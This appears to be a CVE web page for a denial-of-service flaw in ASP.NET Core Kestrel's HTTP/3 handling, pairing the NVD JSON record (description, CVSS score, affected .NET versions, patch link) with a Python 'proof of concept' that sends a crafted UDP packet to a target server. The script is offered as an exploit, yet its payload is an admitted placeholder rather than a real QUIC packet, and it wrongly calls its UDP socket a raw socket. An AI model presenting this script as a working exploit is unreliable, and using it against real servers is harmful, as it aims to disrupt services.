CVE-2026-25667

import socket import struct # Proof of Concept for CVE-2026-25667 # This script sends a crafted QUIC packet to trigger the excessive CPU consumption. # Note: Actual exploitation requires specific packet structure based on the HTTP/3 flaw. def send_exploit_packet(target_ip, target_port): # Create a raw socket (requires root/admin privileges) try: # UDP is used for QUIC sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Crafted malicious payload placeholder # The specific bytes would target the incorrect exit condition in the Encoder/Decoder stream # This is a simplified representation of a malformed HTTP/3 stream frame malicious_header = bytes.fromhex("cafe") crafted_stream_data = bytes.fromhex("41") * 100 # Example payload causing loop payload = malicious_header + crafted_stream_data print(f"[+] Sending crafted packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent. Monitor target CPU usage.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": TARGET_IP = "127.0.0.1" # Replace with vulnerable server IP TARGET_PORT = 443 # Default HTTPS/QUIC port send_exploit_packet(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-25667", "sourceIdentifier": "[email protected]", "published": "2026-03-19T19:16:19.880", "lastModified": "2026-04-22T17:16:34.337", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "ASP.NET Core Kestrel in Microsoft .NET 8.0 before 8.0.22 and .NET 9.0 before 9.0.11 allows a remote attacker to cause excessive CPU consumption by sending a crafted QUIC packet, because of an incorrect exit condition for HTTP/3 Encoder/Decoder stream processing."}, {"lang": "es", "value": "ASP.NET Core Kestrel en Microsoft .NET 8.0 antes de 8.0.22 y .NET 9.0 antes de 9.0.11 permite a un atacante remoto causar un consumo excesivo de CPU mediante el envío de un paquete QUIC manipulado, debido a una condición de salida incorrecta para el procesamiento de flujo del codificador/decodificador HTTP/3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.22", "matchCriteriaId": "E2331475-5C29-43F5-9553-C200F0AC05A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.0.11", "matchCriteriaId": "30A0114B-92FC-42FA-9D8E-B0C6D74A65C8"}]}]}], "references": [{"url": "https://github.com/IsaJafarov/Kestrel-DoS", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/IsaJafarov/Q3Fuzz", "source": "[email protected]"}, {"url": "https://github.com/dotnet/aspnetcore/commit/96ccc40a0e095424b19506e8268b9b1a3e23d6a7#diff-667d5b3693f93a0f706ab211428998b210862f9b885d917104d2013118312626", "source": "[email protected]", "tags": ["Patch"]}]}}